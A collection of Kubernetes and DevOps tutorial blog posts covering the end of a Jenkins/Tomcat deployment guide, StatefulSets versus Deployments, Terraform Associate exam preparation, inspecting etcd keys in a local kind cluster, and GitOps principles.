    ![](/img/blog/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws/b0407fdc-492e-4e23-b3f4-248d46b1cb86.png align="center")
    
* So whatever was written in the index.jsp will be visible here!
    
* You have successfully deployed a maven application to a tomcat server🎉
    

Don't forget to like and share this post. Connect with me on [**Twitter**](https://twitter.com/gola_kanika). Follow me for more such blogs on [**Hashnode**](https://hashnode.com/@Kanika26).

Follow Kubesimplify on [**Hashnode**](https://blog.kubesimplify.com/), [**Twitter**](https://twitter.com/kubesimplify), Instagram and [**LinkedIn**](https://www.linkedin.com/company/kubesimplify/). Join Discord server to learn a lot more stuff.

---

# StatefulSets

- Canonical: https://blog.kubesimplify.com/statefulsets
- Published: 2023-02-16

Before getting into what Statefulsets are, let us first talk about what Stateful and stateless applications are.

### Stateful and Stateless applications

Stateful apps keep track of the session(state) details of the previous transactions that happened and they will behave differently based on the previous state of the application.

While the stateless applications only rely on the clients to have some session data but the server itself doesn't store any session data.

**Note:** *The term "State" means multiple things in multiple contexts. In this particular context, it mostly refers to the session details or some authorization tokens.*

To understand more, let's take an example of a banking application that is built in both stateful and stateless architecture.

![Untitled-2022-06-02-2012.png](/img/blog/statefulsets/bRNM8AhrX.png align="left")

Assume that you want to make a transaction of $1000 from your bank account using the application. What are the steps that are involved?

* User has to log in using their credentials.
    
* Choose the transaction and enter the amount to transfer.
    
* Confirmation of the transaction.
    
* The transaction is marked as complete.
    

Let us perform all the steps mentioned above in both stateful and stateless architectures.

**In a stateful way**, the user enters his credentials, the server verifies the credentials in the auth server, and authentication is successful. As the application is built in stateful architecture, the state is stored in the server.

Then the user is prompted with a transaction page which might or might not be on the same node(server) as the auth server, but as the state(auth details) are already stored in the server the request will be processed without any hassle. Same for the confirmation stage, it will get auth details from the state store. Our user performed his transaction successfully.

**In a stateless way,** the server verifies the credentials in the auth server, and authentication is successful. As the application is built in stateless architecture, the state is not stored in the server.

But when the user prompts to the transaction page which might not be the same server as auth server. As auth details (state) aren’t stored in the server, the user fails to authenticate. The login screen appears again, this will continue to repeat which results in difficulty to make a transaction.

***Note:*** *The operations are simplified and can't be compared with real-world cases.*

I hope now we have some idea about what stateful and stateless applications are. Let’s see what StatefulSets are, how they are different from Deployments, and how to create one.

### StatefulSet

*"StatefulSet is a Kubernetes API object that is used to manage stateful applications"*

Coming to deploying applications in Kubernetes, we already have Deployments which is very useful. Then why we would need StatefulSets? What is the added advantage that we get from using StatefulSets?

**Issues with Deployments**

Yes, deployments are very useful to deploy applications, they provide replicas, and make rollbacks and updates easy. But deploying Stateful applications using deployments comes with some issues as follows.

* Pods created with Deployments don’t provide Persistent identity
    
* All pods created with Deployment share the PV
    
* Scaling up and Scaling down in deployment is instantaneous
    

For better understanding let's create a sample deployment and discuss the issue mentioned above.

In this example, I’m deploying a Redis image with 2 replicas with PV attached to it. Create the Deployment using `kubectl apply -f deployment.yml`.

You can find the [manifests here](https://github.com/karnatisrinivas/Dok-StatefulSets/)

* **Pods don’t have a persistent identity**
    

By default, the pods that are created with deployment names are as follows: Deployment name- \[random hash number\]. This inconsistent naming convention makes the database connections unreliable which needs to be reliable in the case of Stateful applications.

![Screenshot 2022-11-25 at 11.44.20 AM.png](/img/blog/statefulsets/m6lhrMsea.png align="left")

* **All Pods share the same PV**
    

All the replicas that are created with Deployment share the same Persistent Volume( if provided). This makes the whole application prone to downtime considering the cases where the PV can crash. You can see which pod has attached to which PV using the following command.

```bash
kubectl get po -o json --all-namespaces | jq -j '.items[] | "\(.metadata.namespace), \(.metadata.name), \(.spec.volumes[].persistentVolumeClaim.claimName)\n"' | grep -v null
```

![Screenshot 2022-11-25 at 11.45.22 AM.png](/img/blog/statefulsets/hwf2Oo9y0.png align="left")

* **Scaling up and Scaling down**
    

In Deployments, the Scaling up and Scaling down are instantaneous. This means all the pods are scheduled at the same time and also during the Scale down all the pods terminate at the same time.

* Scaling up the deployment using `kubectl scale deployment/redis-cluster --replicas=10`
    
    ![Screenshot 2022-11-25 at 11.45.50 AM.png](/img/blog/statefulsets/Wa92kdUXd.png align="left")
    
* Now try to scale down the deployment using `kubectl scale deployment/redis-cluster --replicas=1`
    
* As you can see this instant scaling up/scaling down can cause an abrupt change in the stateful application and can cause downtime.
    

![Screenshot 2022-11-25 at 11.46.24 AM.png](/img/blog/statefulsets/iXlwaa6hU.png align="left")

### StatefulSets

Let’s see how statefulset deploys an application and whether will it solve the issues that we got from Deployments or not.

A StatefulSets provides a persistent identity to the pods that they create and manage. The StatefulSets are mostly used for deploying Stateful applications where we require a unique network identifier or Storage.

StatefulSets also guarantees the ordering of the pod deployment and its scaling. StatefulSets are very helpful while deploying applications where you need database clustering ( in which you need to know the hostname of each server).

**StatefulSet Yaml Manifest:**

```yaml
apiVersion: apps/v1
kind: StatefulSet
metadata:
  name: redis-cluster
spec:
  serviceName: redis-cluster
  replicas: 2
  selector:
    matchLabels:
      app: redis-cluster
  template:
    metadata:
      labels:
        app: redis-cluster
    spec:
      containers:
      - name: redis
        image: redis:5.0.1-alpine
        ports:
        - containerPort: 6379
          name: client
        - containerPort: 16379
          name: gossip
        command: ["/conf/update-node.sh", "redis-server", "/conf/redis.conf"]
        env:
        - name: POD_IP
          valueFrom:
            fieldRef:
              fieldPath: status.podIP
        volumeMounts:
        - name: conf
          mountPath: /conf
          readOnly: false
        - name: data
          mountPath: /data
          readOnly: false
      volumes:
      - name: conf
        configMap:
          name: redis-cluster
          defaultMode: 0755
  volumeClaimTemplates:
  - metadata:
      name: data
    spec:
      accessModes: [ "ReadWriteOnce" ]
      resources:
        requests:
          storage: 50Mi
---
apiVersion: v1
kind: Service
metadata:
  name: redis-cluster
spec:
  clusterIP: None
  ports:
  - port: 6379
    targetPort: 6379
    name: client
  - port: 16379
    targetPort: 16379
    name: gossip
  selector:
    app: redis-cluster
```

StatefulSet requires a Headless Service in order to route the traffic to pods and to be accessed.

* **Pods and their identity**
    

Pods that are created using StatefulSet are named as \[Statefulset-name- (ordinal number)\]. The ordinal number ranges from 0 to N and the number defines the order of creation.

This Standard naming convention provides a persistent identity to the pods and makes them reliable for use in database connections.

![Screenshot 2022-11-25 at 11.47.24 AM.png](/img/blog/statefulsets/IW-YTQx6_.png align="left")

* **Pods have separate PV**
    

Every Pod that is created with Statefulset gets its own Volume. You can verify this using the following command.

```bash
kubectl get po -o json --all-namespaces | jq -j '.items[] | "(.metadata.namespace), (.metadata.name), (.spec.volumes[].persistentVolumeClaim.claimName)\n"' | grep -v null
```

![Screenshot 2022-11-25 at 11.47.50 AM.png](/img/blog/statefulsets/SGnOh7cI2.png align="left")

* **Scaling up and Scaling Down**
    

Stateful sets handle the Scaling very gracefully, It will ensure that the second Pod will not be created unless the first pod is up and running. (0 to N)

In the same manner, during the Scale down, the Pod with the highest ordinal number terminates first and the second highest pod only starts terminating after that. (N to 0)

* Let's scale up our stateful set from 5 to 10 pods, you can do that by using `kubectl scale sts/redis-cluster --replicas=10`
    
    ![Screenshot 2022-11-25 at 11.48.03 AM.png](/img/blog/statefulsets/zwWYqLqus.png align="left")
    

![Screenshot 2022-11-25 at 11.48.31 AM.png](/img/blog/statefulsets/Zd_-CYtbW.png align="left")

* As you can observe in the above pictures, the statefulsets scale the pods one by one, and the scaling down can be achieved by using `kubectl scale sts/redis-cluster --replicas=1` .
    

***Note:*** *StatefulSets is a great option to run your Stateful applications but by default, Kubernetes doesn’t enable the database clustering for your database. Clustering is necessary for some databases in order to ensure all the volumes (databases) maintain the replica of the data.*

Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify), [Instagram](https://www.instagram.com/kubesimplify/)d and [Linkedin](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

---

# Become a Hashicorp Certified Terraform Associate - Preparation Guide

- Canonical: https://blog.kubesimplify.com/become-a-hashicorp-certified-terraform-associate-preparation-guide
- Published: 2023-02-13
- Summary: In this particular blog, we'll dig a bit deeper into the HashiCorp Terraform Certification and exactly what you need to pass it.

## Introduction

Recently, I appeared for the [HashiCorp Certified Terraform Associate](https://www.hashicorp.com/certification/terraform-associate) exam after somewhere around **2 months of preparation**. I am very glad to share that I passed it with a score of **85%**, which is a pretty nice one considering the fact that, it is [my very first certification](https://www.credly.com/badges/60b86e6c-ec14-46bd-8929-f1438ab68e16/public_url) in the DevOps ecosystem.

Now, in this particular blog, **we'll dig a bit deeper into this certification, and what exactly you need to pass it and I'll be sure to share my tips and experience along the way.**

So, if you are someone looking forward to preparing or give this exam in the coming future, **you are in the right place today!**

## Getting familiar with IaC and Terraform

Before we even start to discuss the exam, it's important to be familiar with the technology around which this certification revolves, which is **Terraform**.

If we look at the [official definition of Terraform by HashiCorp](https://developer.hashicorp.com/terraform/intro), it says that:

> HashiCorp Terraform is an **infrastructure as a code** tool that lets you define both **cloud and on-prem resources** in **human-readable configuration files** that you can **version reuse**, and **share**.

According to me, this is a very precise definition of Terraform, but there are a few terms here that we need a bit more clarity on. Let's start with the most basic one, **What is Infrastructure as Code?** **Infrastructure as Code (IaC)**, as the name suggests is an approach to **managing your cloud-native infrastructure through code**. Traditionally, If we talk about managing our infrastructure over different cloud providers or on-prem platforms, there was heavy use of **the UI** or some kind of management console to **make changes**, **monitor** and **troubleshoot** the resource throughout the entire application lifecycle. This was apt if we didn't have to manage large-scale infrastructure and there was a relatively limited scale of deployment. Today, as the **scale of infrastructure is much, much higher**, the approach of managing the infrastructure through a **codified way** is what is being adopted in the ecosystem, and this is what we call Infrastructure as Code.

There are a lot of tools out there that serve the purpose of creating that codified ecosystem throughout the infrastructure lifecycle and **Terraform** is the Infrastructure as Code (IaC) offering from [HashiCorp](https://www.hashicorp.com/).

Terraform, an infrastructure as a code tool, lets you define both cloud and on-prem resources in human-readable configuration files that you can version, reuse, and share. These configuration files are written in a special configuration language called the **HashiCorp Configuration Language (HCL)**. Here is a nice example of **provisioning an AWS EC2 instance** through Terraform, using the HCL syntax:

```bash
resource "aws_instance" "web" {
  ami           = "ami-005e54dee72cc1d00"
  instance_type = "t3.micro"

  tags = {
    Name = "My_Server"
  }
}
```

To learn more about the HCL language, you may refer to the [documentation](https://developer.hashicorp.com/terraform/language).

> **💡 Tip:**
> 
> As HCL is a **JSON-based variant**, the syntax of the two looks very similar. HCL is comparably **easier to parse** than other configuration languages such as **YAML** or **XML**.
> 
> To learn more about the HCL syntax, you can refer to the [README on GitHub](https://github.com/hashicorp/hcl).

There are a lot of features and use cases that make Terraform stand apart from other IaC tools out there such as Ansible, Chef, Pulumi, Crossplane, etc, but the one that comes on top is being **"Cloud-agnostic"** i.e. **the ability to provision resources across a multi-cloud infrastructure and handling cross-cloud dependencies with a single configuration file.**

![](https://www.cloudsigma.com/wp-content/uploads/CloudSigma-is-now-a-verified-Terraform-provider-1163x608.jpg align="left")

To know more about various use cases of Terraform, refer to the documentation.

## Who is a Terraform Associate?

If we look at the [official introduction](https://www.hashicorp.com/certification/terraform-associate) to the certification:

> The Terraform Associate certification is for **Cloud Engineers** specializing in operations, IT, or development who know the basic concepts and skills associated with **open-source HashiCorp Terraform**.

Most simply, a **Terraform Associate** is someone who can use Terraform **to manage and provision infrastructure in a variety of real-world scenarios.** This is a **fundamental level certification** where the main aim is to **validate** that you have a working knowledge of Terraform and the **ability to use it in production environments.**

From my experience of preparing for this exam, I'd say it's either for those cloud engineers that specialize in operations/IT, or for those developers who know or would like to explore and learn the basic concepts, and skills associated with open-source HashiCorp Terraform.

## Pre-requisites - Before preparation

Now that we have a clear understanding as to who is this certification for and what the aim behind it is, we can now move towards our preparation phase. The very first step is to learn about the pre-requisites required, and according to HasiCorp, those are as follows:

* **Having a basic knowledge of using the Linux Terminal**
    
    * [Linux Course by Kunal Kushwaha](https://youtu.be/iwolPf6kN-k)
        
    * [Linux & Docker Fundamentals Workshop by Chad M. Crowell](https://youtu.be/EUu1E_YKGTw)
        
* **Having a basic understanding of how on-premises and cloud architecture works**
    
    * [Cloud 101: An Introduction to Cloud Computing](https://youtu.be/GneIpdOirZY)
        

Apart from this, it is recommended to have a sound knowledge of using at least one of the **public cloud providers** such as AWS, Azure, GCP etc. Now, this is something where many folks tend to get stuck while starting to prepare for the certification. You need to focus on these words here - **"it is recommended to have sound knowledge"**, this does not mean that one has to be a **PRO** in using a particular cloud provider, before starting to learn about Terraform. Having an experience with a cloud provider would prove to be helpful, but **even if you are just familiar with the basics of one provider**, let's say AWS, that shouldn't stop you from learning Terraform and you can always **learn new cloud concepts along the way!**

If I talk about my preparation, I only knew some very basic concepts in AWS such as working with **EC2, and** a little bit of **S3** (database) and that's it. Along with learning about Terraform, I learned multiple new concepts like **VPC**, **CIDR Blocks**, **AWS Secrets Manager** etc. And not only in AWS, but I also gained basic experience working with **Azure** and **Google Cloud** as well as I learned to provision infrastructure over a multi-cloud environment.

I hope this gives you some confidence and now let's move forward with learning more about the exam and how you can prepare well.

## About the Exam - What to Expect

### General Exam Details

Here are some important exam details to keep in mind:

* This is a **multiple choice** exam having **a total no. of questions = 57**.
    
* The duration of the exam is **1 hour** and in my opinion, this is a very apt time for attempting all the questions.
    
* **A minimum score of 70%** is required to pass the exam.
    
* The exam costs you **$70** with **no free re-take included**. So, you've gotta complete it in a single take.
    
* If you have successfully cleared the exam, **the certification would be valid for 2 years.**
    

### Exam Objectives - Different areas to focus on

In other terms, you can call this the "**syllabus"** of the exam. As I previously mentioned, the main aim of this certification is to validate that you have a working knowledge of Terraform and an overall understanding of the Infrastructure as Code ecosystem. So, here are the **different focus areas** into which the exam is divided:

1. **Understand infrastructure as code (IaC) concepts**
    
2. **Understand Terraform's purpose (vs other IaC)**
    
3. **Understand Terraform basics**
    
4. **Use the Terraform CLI (outside of core workflow)**
    
5. **Interact with Terraform modules**
    
6. **Navigate Terraform workflow**
    
7. **Implement and maintain state**
    
8. **Read, generate, and modify the configuration**
    
9. **Understand Terraform Cloud and Enterprise capabilities**
    

Now, there are a lot of **sub-topics** that come under these main focus areas, which you can learn more about from the [official certification page](https://www.hashicorp.com/certification/terraform-associate).

From my experience of giving the exaddm, it's **very well balanced** between these **9 areas** and while preparing, you **need to spend adequate time learning these topics**. I will point out some key areas to focus on in the upcoming sections as well.

## A Practical Approach to your Preparation!

Now that we have a fair level of understanding about the prerequisites, the exam structure, and the main focus areas, **we can now start our preparation!**

> **📍 NOTE:**
> 
> The **resources** and **points** mentioned below are things that worked for me in my preparation and might not work for you, **but you'll learn quite a lot in the process, that's for sure!**

### Resources

#### 1\. [Study Guide by HashiCorp](https://)

One of the best resources to learn about any technology out there is its official documentation **and the** same is the case with Terraform. For this certification, HashiCorp has done a phenomenal job in structuring the [official documentation](https://developer.hashicorp.com/terraform) in form of a **study guide** to help you prepare for this exam.

[The Study Guide](https://developer.hashicorp.com/terraform/tutorials/certification/associate-study) is kind of a **roadmap** created by HashiCorp to help you prepare for this certification exam. Each objective (which are mentioned above) with their respective sub-topics are mentioned in the form of **links**, which lead to separate sections of the official documentation, focusing on that particular topic. All the resources mentioned here are in the **order of difficulty** so that one should be able to track their progress throughout the preparation.

[![](/img/blog/become-a-hashicorp-certified-terraform-associate-preparation-guide/40931285-0bcb-4dcb-b92b-1c24fb927ecf.png align="center")](https://developer.hashicorp.com/terraform/tutorials/certification/associate-study)

One of the **major highlights** of the study guide is links to the [tutorial section](https://developer.hashicorp.com/terraform/tutorials) where you can follow the step-by-step **guide** and get that essential **hands-on experience** while learning the concepts **(which is very important)**.

To get a more **summarized view** of the study guide, you can also check out the [Exam Review](https://developer.hashicorp.com/terraform/tutorials/certification/associate-review) section as well.

Along with the study guide, you also have a section for [Sample Questions](https://developer.hashicorp.com/terraform/tutorials/certification/associate-questions) where you can get a gist of the **format of the questions** asked in the exam.

> **📍 NOTE:**
> 
> These sample questions **aren't enough** to get that **full-fledged exam practice experience** that you most definitely need. We will talk about that later in this section.

#### 2\. [HashiCorp Terraform Associate Certification Course - By Andrew Brown](https://youtu.be/V4waklkBC38)

![](https://user-images.githubusercontent.com/72245772/215258523-c9504a41-3826-4f9d-8e54-6a2f88907049.png align="left")

If you are someone who **prefers to learn through videos** or consume visual content, this one's for **YOU**. A complete knowledge-packed course by [Andrew Brown](https://twitter.com/andrewbrown) on [FreeCodeCamp](https://www.youtube.com/@freecodecamp) is a very well-structured resource for anyone starting to prepare for this certification. Andrew Brown has done some amazing work on this **13+ hour-long course** which includes both **in-depth explanations** of Terraform concepts and **hands-on sections** after each concept **(which were my favourites)**.

Overall, both these resources have the **full potential** to get you exam ready in terms of the concepts and covering the exam objectives. Now, for the folks who'd be wondering, **what would I recommend here?** So, I combined the power of both.

> **Study Guide + FreeCodeCamp course == A Killer Combination 🔥**

This is a personal **choice** and you can go for any resource mentioned, but remember that - **documentation plays an important role in the exam, so please don't skip that!**

#### 3\. Practice Exams - To get you Exam Ready!

The more I come back to this particular phase, **the more it reminds me of how important it was during my preparation.** **Practice Exams** are something which would connect you with what potentially could be asked in your exam and in a way **validates your overall preparation** at the same time.

[HashiCorp Certified: Terraform Associate Practice Exam 2023 by Bryan Krausen](https://www.udemy.com/course/terraform-associate-practice-exam/) on **Udemy** provides you with a **set of 6 practice exams**, all following the exact pattern as the main exam:

* **57 total questions**
    
* **1hr duration**, and
    
* **70% required to pass**.
    

These are again, essential for validating your overall preparation and would help to point out any area or topic that requires further **practice** or **revision**. These practice exams helped me to **track my preparation** and I could see myself improving with each exam.

To give you a better idea of this, here is a **table** that I prepared to track my progress with each exam I gave:

![Xnapper-2023-02-01-12 08 11](https://user-images.githubusercontent.com/72245772/215969896-47c6527d-fb1b-4e39-a4c7-fe59c262d2e5.png align="left")

Notice the very **first exam** I gave here. I got a **61%** and that means **I failed it!** Though this was a bit de-motivating at first, now, I knew the areas that required more attention. So, I focused more on those and the results kept on improving with each.

> **💡 Tip:**
> 
> After giving every practice exam, it's important to ask these **two questions**:
> 
> * **Which questions went wrong and why?**
>     
> * **Which of my answers was right and why?**
>     
> 
> Trust me, with each exam you'll see yourself **improving** and **becoming more confident!**

#### 4\. Personal Notes on Notion

While going through the course and the documentation, I have prepared notes of all the concepts that I learned along the way. Now, these are something very **informal** and are **not sufficient** for your preparation, but would **give you a nice overview** of all the concepts involved!

You can access all the **notes** through this [Notion page](https://vermakunal.notion.site/379906a0bab14972b6138b705004e0b2?v=bad9305cdf0d4c3698014c98912bad0f). Also, if you wish to access the **code files** as well, here is the [GitHub Repo](https://github.com/verma-kunal/DevOps-Cloud-Certifications/tree/main/HashiCorp-Terraform-Associate).

> **📍 NOTE:**
> 
> I'll soon be uploading all the notes on the [GitHub Repo](https://github.com/verma-kunal/DevOps-Cloud-Certifications/tree/main/HashiCorp-Terraform-Associate) as well, to make them more accessible to the community!

## Exam & Study Tips

Throughout the blog, I've provided **some short tips** in each section to help you with your preparation. **Here are a few more,** cuz why not :)

* The **more hands-on practice** you do for a topic, you'll have a firm grip on that particular concept.
    
* **Googling** and **StackOverflow** are your friends if you get stuck into any issues
    
* As I mentioned previously, **making notes** **while learning** helped me out in terms of remembering the concepts. Try to follow this practice as you learn and notice the results!
    
* If you can, try to make **1-2 small projects using Terraform**. You can even add Terraform to an existing project on GitHub. Again, **the aim is to get that hands-on experience.**
    
* **Learn in public!** Commit to sharing your daily learnings with everyone in the community and you'll gain some nice insights and make new connections.
    

[![](/img/blog/become-a-hashicorp-certified-terraform-associate-preparation-guide/49a2ed01-adff-4c47-a5bd-11299ce59663.png align="center")](https://twitter.com/kverma_twt/status/1597547868470247425?s=20&t=i6jIu_iSjXal8lUegGGY1w)

## Conclusion

I hope that this blog post proves to be the **starting point** for your journey to becoming a certified **Terraform Associate** and I tried my best to take you through my journey along the way.

If you have any further questions regarding the certification, feel free to reach out on [Twitter](https://twitter.com/kverma_twt).

**All the best for your preparation and the exam!**

Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [LinkedIn](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

---

# Understanding etcd in Kubernetes: A Beginner's Guide

- Canonical: https://blog.kubesimplify.com/understanding-etcd-in-kubernetes-a-beginners-guide
- Published: 2023-02-11

Etcd is a key-value data store used to store and manage the critical information that distributed systems need. It provides a reliable way of storing the configuration data. In this post, we will see a close look at etcd, why it is needed, and how to access its contents in Kubernetes.

### What is etcd?

Etcd is an open-source distributed key-value store that is used to store and manage the information that distributed systems need for their operations. It stores the configuration data, state data, and metadata in Kubernetes.

The name “etcd” comes from a naming convention within the Linux directory structure: In UNIX, all system configuration files for a single system are contained in a folder called “/etc;” “d” stands for “distributed.”

**Why Kubernetes needs a data store?**

We know that Kubernetes is an orchestration tool whose tasks involve managing application container workloads, their configuration, deployments, service discovery, load balancing, scheduling, scaling, and monitoring, and many more tasks which might spread across multiple machines across many locations. Kubernetes needs to maintain coordination between all the components involved.

But to achieve that reliable coordination, k8s needs a data source that can help with the information about all the components, their required configuration, state data, etc. That data store must provide a consistent, single source of truth at any given point in time. In Kubernetes, that job is done by etcd. etcd is the data store used to create and maintain the version of the truth.

**But why etcd?**

As it sounds, it is not a small task to act as a single point of truth for application workload. But what makes etcd worth using?

* **Fully replicated:** Every node in an etcd cluster has access to the full data store.
    
* **Highly available:** etcd is designed to have no single point of failure and gracefully tolerate hardware failures and network partitions.
    
* **Reliably consistent:** Every data ‘read’ returns the latest data ‘write’ across all clusters.
    
* **Fast:** etcd has been benchmarked at 10,000 writes per second.
    
* **Secure:** etcd supports automatic Transport Layer Security (TLS) and optional secure socket layer (SSL) client certificate authentication.
    

![](/img/blog/understanding-etcd-in-kubernetes-a-beginners-guide/b99977b9-189d-4810-ac4d-f4306cffccef.png align="center")

Image from [etcd.io](http://etcd.io)

In general, etcd is deployed as a cluster spread across multiple nodes. It is recommended for a cluster to contain an odd number of nodes, and at least three are required for production environments.

So if we have multiple etcd nodes, how the data consistency will be maintained?

etcd is built on the [**Raft consensus algorithm**](https://raft.github.io/) to ensure data storage consistency across all nodes in a cluster for a fault-tolerant distributed system.

**Raft consensus algorithm**

In the raft algorithm, the data consistency is maintained via the *leader,* which will replicate the data to other nodes in a cluster called *followers.*

The leader accepts requests from clients/users, then will forward them to followers. Once the majority of followers sent back an entry made acknowledgment, the leader writes the entry. If followers crash, the leader retries until all followers store the data consistently.

If a *follower* fails to receive a message from the *leader*, a new election for the leader will be conducted.

You can find great animation explaining about raft algorithm here: [http://thesecretlivesofdata.com/raft/](http://thesecretlivesofdata.com/raft/)

**Etcd and Kubernetes in action**

In the Kubernetes cluster, etcd is deployed as pods on the control plane. To add a level of security and resiliency, it can also be deployed as an external cluster.

For this post, I am using [the kind cluster](https://kind.sigs.k8s.io/). When kind is used to install the cluster, it will also install etcd as pod in the kube-system namespace.

![](/img/blog/understanding-etcd-in-kubernetes-a-beginners-guide/c90e9197-6de5-4a16-be19-a2834982a01c.png align="center")

We can find multiple pods in the kube-system namespace, but what we are most interested is `etcd-kind-control-plane` which is running the instance of etcd and it is used to store the state of the cluster.

**Interact with etcd**

The following command helps to interact with the `etcd-kind-control-plane` pod through kubectl exec. And `ETCDCTL_API` is the API version through which we want to interact with etcd `--cacert, --key and --cert` is for TLS certificates that we will get from executing the `describe command` present above and `get / --prefix --keys-only` will give all the keys present in etcd.

```bash
kubectl exec etcd-kind-control-plane -n kube-system -- sh -c "ETCDCTL_API=3 etcdctl --cacert /etc/kubernetes/pki/etcd/ca.crt  --key /etc/kubernetes/pki/etcd/server.key --cert  /etc/kubernetes/pki/etcd/server.crt  get / --prefix --keys-only" > etcdkeys.txt
```

`ETCDCTL_API` is the API version we use for etcd to interact with it. `--cacert, --key and --cert` is for TLS certificates that we need and `get / --prefix --keys-only` will give all the keys present in etcd.

![](https://cdn-images-1.medium.com/max/1600/1*ztGfR7QbbkhVWBnJAWPGEQ.png align="left")

The above interaction with the etcd pod gave me around 277 keys, which will define the configuration and status of all resources in the cluster.

So now let’s create a pod with nginx image, and we will see what happens in the etcd cluster.

So run `kubectl run my-pod --image=nginx` which basically pulls and runs the nginx image. We use the same command that we’ve used previously to get all the keys that are stored in etcd, and we will store it into a file called `etcd-after-pod.txt` .

```bash
kubectl exec etcd-kind-control-plane -n kube-system —- sh -c “ETCDCTL_API=3 etcdctl --cacert /etc/kubernetes/pki/etcd/ca.crt --key /etc/kubernetes/pki/etcd/server.key --cert /etc/kubernetes/pki/etcd/server.crt get / --prefix --keys-only” > etcd-after-pod.txt
```

A comparison between the two files, one before pod creation and one after pod creation, shows me the following.

![](https://cdn-images-1.medium.com/max/1600/1*rOPstAFYXLu-toiVjY4ELw.png align="left")

Several new events were generated. We have 6 events generated specifically for our pod `my-pod`. Let’s take a closer look at those events.

The following command gives you an JSON output for the event `registry/events/default/my-pod.173bb0a9bbbda0b6`. But by default, all the values of etcd are encoded.

```bash
kubectl exec etcd-kind-control-plane -n kube-system --sh -c “ETCDCTL_API=3 etcdctl --cacert /etc/kubernetes/pki/etcd/ca.crt --key /etc/kubernetes/pki/etcd/server.key --cert /etc/kubernetes/pki/etcd/server.crt get \”/registry/events/default/my-pod.173bb0a9bbbda0b6\” -w json”
```

![](/img/blog/understanding-etcd-in-kubernetes-a-beginners-guide/24c3dddf-a123-4137-8604-3de10d2314aa.png align="center")

```bash
kubectl exec etcd-kind-control-plane -n kube-system -- sh -c “ETCDCTL_API=3 etcdctl --cacert /etc/kubernetes/pki/etcd/ca.crt --key /etc/kubernetes/pki/etcd/server.key --cert /etc/kubernetes/pki/etcd/server.crt get \”/registry/events/default/my-pod.173bb0a9bbbda0b6\” -w json” | jq ‘.kvs[0].value’| cut -d ‘“‘ -f2 | base64 --decode
```

If we decode the value associated with the key, to return output is also not that much readable, but we can understand some of it.

![](/img/blog/understanding-etcd-in-kubernetes-a-beginners-guide/0de7bcd6-674d-4664-8ef0-ccc6d2ef8bc5.png align="center")

In the above result, you can find some interesting information — `started container my-pod.` I have decoded all the pod events, and these are the events that occurred in chronological order.

```bash
Scheduled":Successfully assigned default/my-pod to kind-control-plane*
Pulling"Pulling image "nginx"*
Pulled"2Successfully pulled image "nginx" in 35.579712695s
Created"Created container my-pod*
Started"Started container my-pod*
```

The last key, `/registry/pods/default/my-pod`, gives all the information related to the newly created Pod :

* The last applied configuration
    
* Its token
    
* Its status etc.
    
* Memory etc...
    

Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [LinkedIn](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

---

# GitOps - Demystified

- Canonical: https://blog.kubesimplify.com/gitops-demystified
- Published: 2023-02-09
- Summary: This blog explains GitOps in a simple way, going over what is gitops, the principles of gitops, and why use gitops in the realm of kubernetes.

Having had first-hand experience with both lives before GitOps and after, I can easily say managing Kubernetes applications without GitOps feels like juggling with one hand tied behind your back. Adopting GitOps isn't just about putting an end to the single-source-of-truth conundrum, it opens a whole new plane of automation, enabling you to ship applications faster and more reliably than before. In this blog, the what and the why of GitOps.

![image.png](/img/blog/gitops-demystified/L5x5Kqg5S.png align="center")

### What is GitOps?

As with any new buzzword or term that comes out, a bunch of definitions surface, which causes some haze and confusion around the topic. Simply put, GitOps is a **framework** in which anything and everything done in your cloud native application is done through git and git alone. It’s considered CD for cloud native applications.

What GitOps is NOT:

* GitOps is not a single tool. It’s a framework, i.e, a set of practices which if you implement, whatever the tool, then you’d be implementing GitOps.
    
* GitOps is not only for kubernetes using the same rationale as the previous point. But because the most widely used GitOps tools are built specifically with kubernetes applications in mind, it might lead people to think that GitOps is exclusive to managing kubernetes applications.
    
* GitOps is not synonymous with infrastructure as code. Infrastructure as code is a way to manage your infrastructure. GitOps on the other hand is a way to manage the entire cloud native stack. You can use GitOps to manage your infrastructure as well as the applications deployed on it.
    

### The 4 Principles of GitOps:

1. The entire system is described **declaratively** as code.
    
    A declarative system is described as a set of facts as opposed to a set of instructions, i.e., you just state WHAT you want without caring about HOW it’s done. When writing the manifests for our kuberernetes resources, that’s exactly what we do. For example, when creating a deployment, we state the image we want to deploy, the number of replicas, the allocated resources..etc, and we don’t worry about HOW this will be executed.
    
2. The desired state is **versioned** in Git.
    
    This principle is the "Git" in GitOps. To implement this principle, any changes introduced to the cluster would be committed to Git. So at any point in time, if you want to know the state of your cluster, you would simply check your git repository, which puts an end to the single source of truth conundrum.
    
3. **Automatically** apply approved changes
    
    To enforce the previous principle, we would want to make sure that whatever is committed to the git repository is actually what’s deployed on the cluster, which is where this principle comes in. Having any changes in git automatically applied to the cluster is done by means of software agents that are deployed on the cluster. These agents or *controllers* constantly monitor any changes added to the repository and apply them to the cluster.
    
4. **Drift Consolidation**
    
    At the core of GitOps is this notion of drift consolidation. If at any point in time, for any reason, there is a change or *drift* between the configuration defined in git and the state of the cluster, the state is reconciled back to the configuration defined in git, which now serves as our single source of truth. I like to think of this as having a control loop for your application deployments.
    

### Standard CI/CD vs GitOps

The standard CI/CD workflow is a push-based model. You push the changes to the manifests on git, then after granting your CI server access to the cluster, you would configure it to run a pipeline applying the new configuration with `kubectl` or `helm`.

![ci/cd flow](/img/blog/gitops-demystified/44b2ea27-5503-4103-859a-dd00bac9578c.png align="center")

<center> Standard CI/CD: push-based, CI server applies changes</center>

Up until the third principle, it *would* seem that a push-based deployment model would be implementing GitOps, after all, its source is Git and the CD is triggered through git, right? But let's clarify the difference.

GitOps is pull-based, i.e., the cluster state is updated by *pulling* the desired state from the repository and then applying it. The agent running on the cluster does that periodically, not just on push. So, the glaring difference between the push-based deployment model and GitOps is in having that control loop that's always running, observing and syncing the state of the cluster with the state of the repository *all the time*.

